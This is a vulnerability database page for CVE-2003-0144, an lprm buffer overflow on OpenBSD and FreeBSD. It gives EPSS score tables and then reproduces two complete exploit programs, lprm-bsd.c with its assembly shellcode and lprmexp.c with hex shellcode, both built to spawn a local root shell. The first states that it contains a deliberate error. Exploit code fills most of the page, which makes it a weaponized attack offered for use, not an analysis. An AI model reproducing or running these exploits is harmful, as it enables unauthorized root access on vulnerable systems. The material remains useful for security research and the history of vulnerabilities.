CVE-2003-0144 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.3%
2025-03-30	–	–	–	–	0.25%
2025-04-06	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	8%
2024-02-11	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	51%
2025-03-30	45%
2025-04-06	46%
2025-04-15	48%
2025-04-15	48%

// source: https://www.securityfocus.com/bid/7025/info It has been reported that a vulnerability in the handling of some types of requests exists in lprm. When an attacker sends a maliciously crafted string to a configured printer through the lprm command, it may be possible to execute code. /* lprm-bsd.c - Exploit for lprm vulnerability in OpenBSD and FreeBSD-stable k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998. The original version of this file contains a blatant error which anyone who is capable of understanding C will be able to locate and remove. Please do not distribute this file without this idiot-avoidance measure. Typical egg on FreeBSD: 0xEFBFCFDF Typical egg on OpenBSD: 0xEFBFD648 The exploit might take a while to drop you to a root shell depending on the timeout ("tm" capability) specified in the printcap file. */ #include <sys/types.h> #include <pwd.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> extern void BEGIN_SC(); extern void END_SC(); int main(int argc, char** argv) { char buf[4096]; struct passwd* pw; char* cgstr; char* cgbuf; char* printer; char* printcaps[] = { "/etc/printcap", 0 }; int sc_size; /* size of shell code */ int P; /* strlen(RP) + strlen(person) */ unsigned egg; /* value to overwrite saved EIP with */ if (argc != 3) { fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]); exit(0); } if ( (pw = getpwuid(getuid())) == NULL) errx(1, "no password entry for your user-id"); printer = argv[1]; egg = (unsigned) strtoul(argv[2], NULL, 0); if (cgetent(&cgstr, printcaps, printer) < 0) errx(1, "can't find printer: %s", printer); if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0') errx(1, "printer is not remote: %s", printer); if (cgetstr(cgstr, "rp", &cgbuf) < 0) cgbuf = "lp"; sc_size = (char*) END_SC - (char*) BEGIN_SC; /* We can append 1022 bytes to whatever is in the buffer. We need to get up to 1032 bytes to reach the saved EIP, so there must be at least 10 bytes placed in the buffer by the snprintf on line 337 of rmjob.c and the subsequent *cp++ = '\0'; 3 = ' ' + ' ' + '\5' */ if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7) errx(1, "your username is too short"); fprintf(stderr, "P = %d\n", P); fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size); fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3); /* fill with NOP */ memset(buf, 0x90, sizeof(buf)); /* put letter in first byte, this fucker took me eight hours to debug. */ buf[0] = 'A'; /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */ memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size); /* finally, set egg and null terminate */ *((int*)&buf[1028 - P - 3]) = egg; buf[1022] = '\0'; memset(buf, 0, sizeof(buf)); execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0); fprintf(stderr, "doh.\n"); return 0; } /* shellcode.S - generic i386 shell code k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998. Please send me platform-specific mods. Example use: #include <stdio.h> #include <string.h> extern void BEGIN_SC(); extern void END_SC(); int main() { char buf[1024]; memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC); ((void (*)(void)) buf)(); return 0; } gcc -Wall main.c shellcode.S -o main && ./main */ #if defined(__FreeBSD__) || defined(__OpenBSD__) #define EXECVE 3B #define EXIT 01 #define SETUID 17 #define SETEUID B7 #define KERNCALL int $0x80 #else #error This OS not currently supported. #endif #define _EXECVE_A CONCAT($0x555555, EXECVE) #define _EXECVE_B CONCAT($0xAAAAAA, EXECVE) #define _EXIT_A CONCAT($0x555555, EXIT) #define _EXIT_B CONCAT($0xAAAAAA, EXIT) #define _SETUID_A CONCAT($0x555555, SETUID) #define _SETUID_B CONCAT($0xAAAAAA, SETUID) #define _SETEUID_A CONCAT($0x555555, SETEUID) #define _SETEUID_B CONCAT($0xAAAAAA, SETEUID) #define CONCAT(x, y) CONCAT2(x, y) #define CONCAT2(x, y) x ## y .global _BEGIN_SC .global _END_SC .data _BEGIN_SC: jmp 0x4 // jump past next two isns movl (%esp), %eax // copy saved EIP to eax ret // return to caller xorl %ebx, %ebx // zero ebx pushl %ebx // sete?uid(0) pushl %ebx // dummy, kernel expects extra frame pointer movl _SETEUID_A, %eax // andl _SETEUID_B, %eax // load syscall number KERNCALL // make the call movl _SETUID_A, %eax // andl _SETUID_B, %eax // load syscall number KERNCALL // make the call subl $-8, %esp // push stack back up call -40 // call, pushing addr of next isn onto stack addl $53, %eax // make eax point to the string movb %bl, 2(%eax) // append '\0' to "sh" movb %bl, 11(%eax) // append '\0' to "/bin/sh" movl %eax, 12(%eax) // argv[0] = "sh" movl %ebx, 16(%eax) // argv[1] = 0 pushl %ebx // push envv movl %eax, %ebx // subl $-12, %ebx // -(-12) = 12, avoid null bytes pushl %ebx // push argv subl $-4, %eax // -(-4) = 4, avoid null bytes pushl %eax // push path pushl %eax // dummy, kernel expects extra frame pointer movl _EXECVE_A, %eax // andl _EXECVE_B, %eax // load syscall number KERNCALL // make the call pushl %eax // push return code from execve pushl %eax // movl _EXIT_A, %eax // we shouldn't have gotten here, try and andl _EXIT_B, %eax // exit with return code from execve KERNCALL // JERONIMO! .ascii "shAA/bin/shBCCCCDDDD" // 01234567890123456789 _END_SC:

// source: https://www.securityfocus.com/bid/7025/info It has been reported that a vulnerability in the handling of some types of requests exists in lprm. When an attacker sends a maliciously crafted string to a configured printer through the lprm command, it may be possible to execute code. /* * lprmexp.c * * OpenBSD <= 3.1 lprm(1) local root exploit * * By CMN <cmn@darklab.org>/<md0claes@mdstud.chalmers.se> * * Tested on OpenBSD 3.0 and 3.1. * * Fiddle with -a option from 1 to 7 to indent address in * buffer. * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #define LPRMPROG "/usr/bin/lprm" #define BUFSIZE 511 #define OFFSET 0 #define NOP 0x90 static char obsdcode[] = "\x31\xc0" /* xorl %eax, %eax */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\xb0\xb7" /* movb $0xb7, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x19" /* movb $0x19, %al */ "\x50" /* pushl %eax */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x2b" /* movb $0x2b, %al */ "\x50" /* pushl %eax */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\xb5" /* movb $0xb5, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\x50" /* pushl %eax */ "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp, %ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe2" /* movl %esp, %edx */ "\x50" /* pushl %eax */ "\x52" /* pushl %edx */ "\x53" /* pushl %ebx */ "\x50" /* pushl %eax */ "\xb0\x3b" /* movb $0x3b, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\x40" /* inc %eax */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\xcd\x80"; /* int $0x80 */ u_long getesp(void) { __asm__("movl %esp, %eax"); } void usage(u_char *pname) { printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n"); printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n", pname); } int main(int argc, char *argv[]) { int i; u_char indent = 0; u_long raddr = 0; u_long offset = 0; u_char buf[BUFSIZE+1]; if (argc < 2) { usage(argv[0]); exit(1); } argc--; argv++; while ( (i = getopt(argc, argv, "a:r:o:")) != -1) { switch (i) { case 'a': indent = atoi(optarg) % 8; break; case 'r': raddr = strtoul(optarg, NULL, 0); break; case 'o': offset = strtoul(optarg, NULL, 0); break; default: exit(1); break; } } if (!raddr) { raddr = getesp(); raddr -= offset ? offset : OFFSET; } else raddr -= offset; printf("Using address 0x%08x\n", raddr); memset(buf, NOP, BUFSIZE); memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100), obsdcode, strlen(obsdcode)); buf[BUFSIZE] = '\0'; execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL); exit(1); }